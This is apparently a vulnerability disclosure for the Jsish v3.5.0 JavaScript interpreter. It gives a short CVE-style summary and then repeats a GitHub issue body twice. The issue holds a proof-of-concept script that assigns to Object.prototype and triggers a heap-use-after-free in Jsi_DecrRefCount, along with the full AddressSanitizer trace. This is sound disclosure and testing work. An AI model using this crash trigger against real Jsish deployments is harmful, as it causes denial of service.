Jsish v3.5.0 was discovered to contain a heap-use-after-free via Jsi_DecrRefCount in src/jsiValue.c. This vulnerability can lead to a Denial of Service (DoS).
cpe:2.3:a:jsish:jsish:3.5.0:*:*:*:*:*:*:*
E97897F2-55BD-40DD-9F33-7980D892A505
OR
###### Jsish revision

Commit: [9fa798e](https://github.com/pcmacdon/jsish/commit/9fa798e35d7a753672d1bd16e98b124e7b2d2899)

Version: v3.5.0



###### Build platform

Ubuntu 18.04.5 LTS (Linux 5.4.0-44-generic x86_64)



###### Build steps

```bash
export CFLAGS='-fsanitize=address'
make
```



###### Test case

```javascript
function JSEtest() {
  Object.prototype = 1;
}

JSEtest();
```

​	

###### Execution steps & Output

```bash
$ ./jsish/jsish poc.js
==44651==ERROR: AddressSanitizer: heap-use-after-free on address 0x6030000001c0 at pc 0x5556b3bd8724 bp 0x7ffdd9e16980 sp 0x7ffdd9e16970
READ of size 4 at 0x6030000001c0 thread T0
    #0 0x5556b3bd8723 in Jsi_DecrRefCount src/jsiValue.c:41
    #1 0x5556b3c1177b in jsiInterpDelete src/jsiInterp.c:1933
    #2 0x5556b4428047 in jsi_main src/main.c:49
    #3 0x7fd6540bcbf6 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x21bf6)
    #4 0x5556b3bb7969 in _start (/usr/local/bin/jsish+0xe8969)

0x6030000001c0 is located 0 bytes inside of 32-byte region [0x6030000001c0,0x6030000001e0)
freed by thread T0 here:
    #0 0x7fd654d2b7a8 in __interceptor_free (/usr/lib/x86_64-linux-gnu/libasan.so.4+0xde7a8)
    #1 0x5556b3bd86cf in Jsi_DecrRefCount src/jsiValue.c:52

previously allocated by thread T0 here:
    #0 0x7fd654d2bd28 in __interceptor_calloc (/usr/lib/x86_64-linux-gnu/libasan.so.4+0xded28)
    #1 0x5556b3c28aa4 in Jsi_Calloc src/jsiUtils.c:57

SUMMARY: AddressSanitizer: heap-use-after-free src/jsiValue.c:41 in Jsi_DecrRefCount
Shadow bytes around the buggy address:
  0x0c067fff7fe0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x0c067fff7ff0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x0c067fff8000: fa fa fd fd fd fd fa fa fd fd fd fa fa fa fd fd
  0x0c067fff8010: fd fd fa fa fd fd fd fa fa fa fd fd fd fd fa fa
  0x0c067fff8020: fd fd fd fd fa fa fd fd fd fd fa fa fd fd fd fd
=>0x0c067fff8030: fa fa fd fd fd fd fa fa[fd]fd fd fd fa fa fd fd
  0x0c067fff8040: fd fd fa fa fd fd fd fd fa fa fd fd fd fd fa fa
  0x0c067fff8050: fd fd fd fd fa fa fd fd fd fd fa fa fd fd fd fd
  0x0c067fff8060: fa fa fd fd fd fd fa fa fd fd fd fd fa fa fd fd
  0x0c067fff8070: fd fd fa fa fd fd fd fd fa fa fd fd fd fd fa fa
  0x0c067fff8080: fd fd fd fd fa fa fd fd fd fd fa fa fd fd fd fd
Shadow byte legend (one shadow byte represents 8 application bytes):
  Addressable:           00
  Partially addressable: 01 02 03 04 05 06 07
  Heap left redzone:       fa
  Freed heap region:       fd
  Stack left redzone:      f1
  Stack mid redzone:       f2
  Stack right redzone:     f3
  Stack after return:      f5
  Stack use after scope:   f8
  Global redzone:          f9
  Global init order:       f6
  Poisoned by user:        f7
  Container overflow:      fc
  Array cookie:            ac
  Intra object redzone:    bb
  ASan internal:           fe
  Left alloca redzone:     ca
  Right alloca redzone:    cb
```

Heap-use-after-free src/jsiValue.c:41 in Jsi_DecrRefCount
This is a GitHub Issue
repo:jsish
owner:pcmacdon
Title : Heap-use-after-free src/jsiValue.c:41 in Jsi_DecrRefCount
Issue date:

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###### Jsish revision

Commit: [9fa798e](https://github.com/pcmacdon/jsish/commit/9fa798e35d7a753672d1bd16e98b124e7b2d2899)

Version: v3.5.0



###### Build platform

Ubuntu 18.04.5 LTS (Linux 5.4.0-44-generic x86_64)



###### Build steps

```bash
export CFLAGS='-fsanitize=address'
make
```



###### Test case

```javascript
function JSEtest() {
  Object.prototype = 1;
}

JSEtest();
```

​	

###### Execution steps & Output

```bash
$ ./jsish/jsish poc.js
==44651==ERROR: AddressSanitizer: heap-use-after-free on address 0x6030000001c0 at pc 0x5556b3bd8724 bp 0x7ffdd9e16980 sp 0x7ffdd9e16970
READ of size 4 at 0x6030000001c0 thread T0
    #0 0x5556b3bd8723 in Jsi_DecrRefCount src/jsiValue.c:41
    #1 0x5556b3c1177b in jsiInterpDelete src/jsiInterp.c:1933
    #2 0x5556b4428047 in jsi_main src/main.c:49
    #3 0x7fd6540bcbf6 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x21bf6)
    #4 0x5556b3bb7969 in _start (/usr/local/bin/jsish+0xe8969)

0x6030000001c0 is located 0 bytes inside of 32-byte region [0x6030000001c0,0x6030000001e0)
freed by thread T0 here:
    #0 0x7fd654d2b7a8 in __interceptor_free (/usr/lib/x86_64-linux-gnu/libasan.so.4+0xde7a8)
    #1 0x5556b3bd86cf in Jsi_DecrRefCount src/jsiValue.c:52

previously allocated by thread T0 here:
    #0 0x7fd654d2bd28 in __interceptor_calloc (/usr/lib/x86_64-linux-gnu/libasan.so.4+0xded28)
    #1 0x5556b3c28aa4 in Jsi_Calloc src/jsiUtils.c:57

SUMMARY: AddressSanitizer: heap-use-after-free src/jsiValue.c:41 in Jsi_DecrRefCount
Shadow bytes around the buggy address:
  0x0c067fff7fe0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x0c067fff7ff0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x0c067fff8000: fa fa fd fd fd fd fa fa fd fd fd fa fa fa fd fd
  0x0c067fff8010: fd fd fa fa fd fd fd fa fa fa fd fd fd fd fa fa
  0x0c067fff8020: fd fd fd fd fa fa fd fd fd fd fa fa fd fd fd fd
=>0x0c067fff8030: fa fa fd fd fd fd fa fa[fd]fd fd fd fa fa fd fd
  0x0c067fff8040: fd fd fa fa fd fd fd fd fa fa fd fd fd fd fa fa
  0x0c067fff8050: fd fd fd fd fa fa fd fd fd fd fa fa fd fd fd fd
  0x0c067fff8060: fa fa fd fd fd fd fa fa fd fd fd fd fa fa fd fd
  0x0c067fff8070: fd fd fa fa fd fd fd fd fa fa fd fd fd fd fa fa
  0x0c067fff8080: fd fd fd fd fa fa fd fd fd fd fa fa fd fd fd fd
Shadow byte legend (one shadow byte represents 8 application bytes):
  Addressable:           00
  Partially addressable: 01 02 03 04 05 06 07
  Heap left redzone:       fa
  Freed heap region:       fd
  Stack left redzone:      f1
  Stack mid redzone:       f2
  Stack right redzone:     f3
  Stack after return:      f5
  Stack use after scope:   f8
  Global redzone:          f9
  Global init order:       f6
  Poisoned by user:        f7
  Container overflow:      fc
  Array cookie:            ac
  Intra object redzone:    bb
  ASan internal:           fe
  Left alloca redzone:     ca
  Right alloca redzone:    cb
```

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